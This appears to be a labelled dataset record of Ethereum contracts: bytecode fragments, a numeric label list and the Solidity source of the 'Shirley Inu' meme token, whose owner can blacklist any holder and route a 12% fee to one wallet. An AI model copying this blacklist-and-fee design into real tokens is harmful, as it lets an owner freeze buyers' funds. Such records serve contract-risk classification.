505060206040518083038186803b1580156131e057600080fd5b505af41580156131f4573d6000803e3d6000fd5b505050506040513d602081101561320a57600080fd5b81019080805190602001909291905050509150848210613292576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5368656c6c2f61626f76652d6d61782d6f726967696e2d616d6f756e7400000081525060200191505060405180910390fd5b6001600d60166101000a81548160ff0219169083151502179055505095945050505050565b60608180421061332f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5368656c6c2f74782d646561646c696e652d706173736564000000000000000081525060200191505060405180910390fd5b600d60009054906101000a900460ff16156133b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5368656c6c2f706f6f6c2d706172746974696f6e65640000000000000000000081525060200191505060405180910390fd5b600d60169054906101000a900460ff16613434576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff0219169083151502179055507323990d7f6b3dea51539d376004bd76fc919941856398b05b1e6000866040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b1580156134a757600080fd5b505af41580156134bb573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156134e557600080fd5b810190808051604051939291908464010000000082111561350557600080fd5b8382019150602082018581111561351b57600080fd5b825186602082028301116401000000008211171561353857600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561356f578082015181840152602081019050613554565b5050505090500160405250505091506001600d60166101000a81548160ff0219169083151502179055505092915050565b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613663576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5368656c6c2f63616c6c65722d69732d6e6f742d6f776e65720000000000000081525060200191505060405180910390fd5b7f7c029deaca9b6c66abb68e5f874a812822f0fcaa52a890f980a7ab1afb5edba681604051808215151515815260200191505060405180910390a180600d60016101000a81548160ff02191690831515021790555050565b6060600d60009054906101000a900460ff1661373f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5368656c6c2f706f6f6c2d6e6f742d706172746974696f6e656400000000000081525060200191505060405180910390fd5b735f2c7b5baeecb4f02f799f617887463b51cc29c76315de76c260006009856040518463ffffffff1660e01b8152600401808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060006040518083038186803b1580156137cc57600080fd5b505af41580156137e0573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561380a57600080fd5b810190808051604051939291908464010000000082111561382a57600080fd5b8382019150602082018581111561384057600080fd5b825186602082028301116401000000008211171561385d57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015613894578082015181840152602081019050613879565b505050509050016040525050509050919050565b600c81815481106138b557fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60019054906101000a900460ff161561394c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b73e2f4b59f21dd7b5d6638dd4d8b9bd7d7b661bf0b63980a7f8460008686866040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060206040518083038186803b158015613a0c57600080fd5b505af4158015613a20573d6000803e3d6000fd5b505050506040513d6020811015613a3657600080fd5b810190808051906020019092919050505090509392505050565b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60019054906101000a900460ff1615613ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b7351448f3bcb4c9e86e809871e23dcee79722fc8806337d243006000878787876040518663ffffffff1660e01b81526004018086815260200180602001806020018381038352878782818152602001925060200280828437600081840152601f19601f8201169050808301925050508381038252858582818152602001925060200280828437600081840152601f19601f82011690508083019250505097505050505050505060206040518083038186803b158015613b9c57600080fd5b505af4158015613bb0573d6000803e3d6000fd5b505050506040513d6020811015613bc657600080fd5b81019080805190602001909291905050509050949350505050565b6040518060400160405280600381526020017f53484c000000000000000000000000000000000000000000000000000000000081525081565b6060600d60009054906101000a900460ff16613c9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5368656c6c2f706f6f6c2d6e6f742d706172746974696f6e656400000000000081525060200191505060405180910390fd5b735f2c7b5baeecb4f02f799f617887463b51cc29c763e08e257360006009888888886040518763ffffffff1660e01b81526004018087815260200186815260200180602001806020018381038352878782818152602001925060200280828437600081840152601f19601f8201169050808301925050508381038252858582818152602001925060200280828437600081840152601f19601f8201169050808301925050509850505050505050505060006040518083038186803b158015613d6557600080fd5b505af4158015613d79573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015613da357600080fd5b8101908080516040519392919084640100000000821115613dc357600080fd5b83820191506020820185811115613dd957600080fd5b8251866020820283011164010000000082111715613df657600080fd5b8083526020830192505050908051906020019060200280838360005b83811015613e2d578082015181840152602081019050613e12565b505050509050016040525050509050949350505050565b600081804210613ebc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5368656c6c2f74782d646561646c696e652d706173736564000000000000000081525060200191505060405180910390fd5b600d60019054906101000a900460ff1615613f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b600d60169054906101000a900460ff16613fa4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff02191690831515021790555060005a905073e2f4b59f21dd7b5d6638dd4d8b9bd7d7b661bf0b634f25089d60008a8a8a336040518663ffffffff1660e01b8152600401808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060206040518083038186803b1580156140b857600080fd5b505af41580156140cc573d6000803e3d6000fd5b505050506040513d60208110156140e257600080fd5b8101908080519060200190929190505050925084831161416a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5368656c6c2f62656c6f772d6d696e2d7461726765742d616d6f756e7400000081525060200191505060405180910390fd5b6000803690506010025a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a0aa61374a8501816141b757fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561422157600080fd5b505af1158015614235573d6000803e3d6000fd5b505050506040513d602081101561424b57600080fd5b81019080805190602001909291905050505050506001600d60166101000a81548160ff0219169083151502179055505095945050505050565b600b818154811061429157fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60169054906101000a900460ff16614344576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff021916908315150217905550731098633d31b6fe64a5964d289f549503e0c7b7f763081aae1d600085856040518463ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060206040518083038186803b1580156143eb57600080fd5b505af41580156143ff573d6000803e3d6000fd5b505050506040513d602081101561441557600080fd5b810190808051906020019092919050505090506001600d60166101000a81548160ff02191690831515021790555092915050565b60096020528060005260406000206000915090508060010160009054906101000a900460ff16905081565b6060600d60009054906101000a900460ff16156144f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5368656c6c2f706f6f6c2d706172746974696f6e65640000000000000000000081525060200191505060405180910390fd5b7323990d7f6b3dea51539d376004bd76fc91994185634c17f2066000846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b15801561455157600080fd5b505af4158015614565573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561458f57600080fd5b81019080805160405193929190846401000000008211156145af57600080fd5b838201915060208201858111156145c557600080fd5b82518660208202830111640100000000821117156145e257600080fd5b8083526020830192505050908051906020019060200280838360005b838110156146195780820151818401526020810190506145fe565b505050509050016040525050509050919050565b600a818154811061463a57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73ac367cb36512f8fe9bd4cf0165fa26e0f32bbf2463f5988f7260006040518263ffffffff1660e01b81526004018082815260200191505060006040518083038186803b1580156146b957600080fd5b505af41580156146cd573d6000803e3d6000fd5b50505050565b6d4946c0e9f43f4dee607b0ef1fa1c81565b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146147a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5368656c6c2f63616c6c65722d69732d6e6f742d6f776e65720000000000000081525060200191505060405180910390fd5b73ac367cb36512f8fe9bd4cf0165fa26e0f32bbf2463e26b191c600087878787876040518763ffffffff1660e01b815260040180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060006040518083038186803b15801561482057600080fd5b505af4158015614834573d6000803e3d6000fd5b505050505050505050565b60008060060160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060000160009054906101000a9004600f0b908060000160109054906101000a9004600f0b908060010160009054906101000a9004600f0b908060010160109054906101000a9004600f0b908060020160009054906101000a9004600f0b908060020160109054906101000a9004600f0b908060040154905087565b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614614a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5368656c6c2f63616c6c65722d69732d6e6f742d6f776e65720000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0d18b5fd22306e373229b9439188228edca81207d1667f604daf6cef8aa3ee6760405160405180910390a380600d60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060008073ac367cb36512f8fe9bd4cf0165fa26e0f32bbf24636624055160006040518263ffffffff1660e01b81526004018082815260200191505060c06040518083038186803b158015614b2257600080fd5b505af4158015614b36573d6000803e3d6000fd5b505050506040513d60c0811015614b4c57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505095509550955095509550955090919293949556fe5368656c6c2f66726f7a656e2d6f6e6c792d616c6c6f77696e672d70726f706f7274696f6e616c2d7769746864726177a265627a7a7231582046fd5fc7161281ea3d68be8a8d44f03289c6687212e932a63e08c1dbc895c6c764736f6c634300050f0032a265627a7a72315820df56fbc21dc0d34182c5eacb83f4931d64ceac78270c07af666351b4a499e3a364736f6c634300050f0032
[ 4, 19, 17, 5, 18 ]
0xf2613413ed369f0f243d30b76de1861fbfe5f734
/** */ /* Shirley Inu We love the show https://t.me/ShirleyInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShirleyInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Shirley Inu"; string private constant _symbol = "Shirley"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9FEaE48ef32051CD3B26dC2C7f46c0D722659C78); _feeAddrWallet2 = payable(0x9FEaE48ef32051CD3B26dC2C7f46c0D722659C78); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610337578063c9567bf914610360578063dd62ed3e14610377578063ff872602146103b4576100fe565b8063715018a61461028d5780638da5cb5b146102a457806395d89b41146102cf578063a9059cbb146102fa576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780635932ead11461022757806370a0823114610250576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103cb565b6040516101259190612a72565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612604565b610408565b6040516101629190612a57565b60405180910390f35b34801561017757600080fd5b50610180610426565b60405161018d9190612bd4565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906125b5565b610437565b6040516101ca9190612a57565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190612527565b610510565b005b34801561020857600080fd5b50610211610600565b60405161021e9190612c49565b60405180910390f35b34801561023357600080fd5b5061024e60048036038101906102499190612681565b610609565b005b34801561025c57600080fd5b5061027760048036038101906102729190612527565b6106bb565b6040516102849190612bd4565b60405180910390f35b34801561029957600080fd5b506102a261070c565b005b3480156102b057600080fd5b506102b961085f565b6040516102c69190612989565b60405180910390f35b3480156102db57600080fd5b506102e4610888565b6040516102f19190612a72565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c9190612604565b6108c5565b60405161032e9190612a57565b60405180910390f35b34801561034357600080fd5b5061035e60048036038101906103599190612640565b6108e3565b005b34801561036c57600080fd5b50610375610a33565b005b34801561038357600080fd5b5061039e60048036038101906103999190612579565b610f90565b6040516103ab9190612bd4565b60405180910390f35b3480156103c057600080fd5b506103c9611017565b005b60606040518060400160405280600b81526020017f536869726c657920496e75000000000000000000000000000000000000000000815250905090565b600061041c6104156110be565b84846110c6565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610444848484611291565b610505846104506110be565b610500856040518060600160405280602881526020016132bb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104b66110be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118969092919063ffffffff16565b6110c6565b600190509392505050565b6105186110be565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059c90612b34565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106116110be565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461069e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069590612b34565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6000610705600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fa565b9050919050565b6107146110be565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612b34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f536869726c657900000000000000000000000000000000000000000000000000815250905090565b60006108d96108d26110be565b8484611291565b6001905092915050565b6108eb6110be565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096f90612b34565b60405180910390fd5b60005b8151811015610a2f576001600660008484815181106109c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a2790612eea565b91505061097b565b5050565b610a3b6110be565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf90612b34565b60405180910390fd5b600f60149054906101000a900460ff1615610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612bb4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ba830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006110c6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bee57600080fd5b505afa158015610c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c269190612550565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8857600080fd5b505afa158015610c9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc09190612550565b6040518363ffffffff1660e01b8152600401610cdd9291906129a4565b602060405180830381600087803b158015610cf757600080fd5b505af1158015610d0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2f9190612550565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610db8306106bb565b600080610dc361085f565b426040518863ffffffff1660e01b8152600401610de5969594939291906129f6565b6060604051808303818588803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e3791906126d3565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f3a9291906129cd565b602060405180830381600087803b158015610f5457600080fd5b505af1158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8c91906126aa565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101f6110be565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a390612b34565b60405180910390fd5b683635c9adc5dea00000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90612b94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612ad4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffff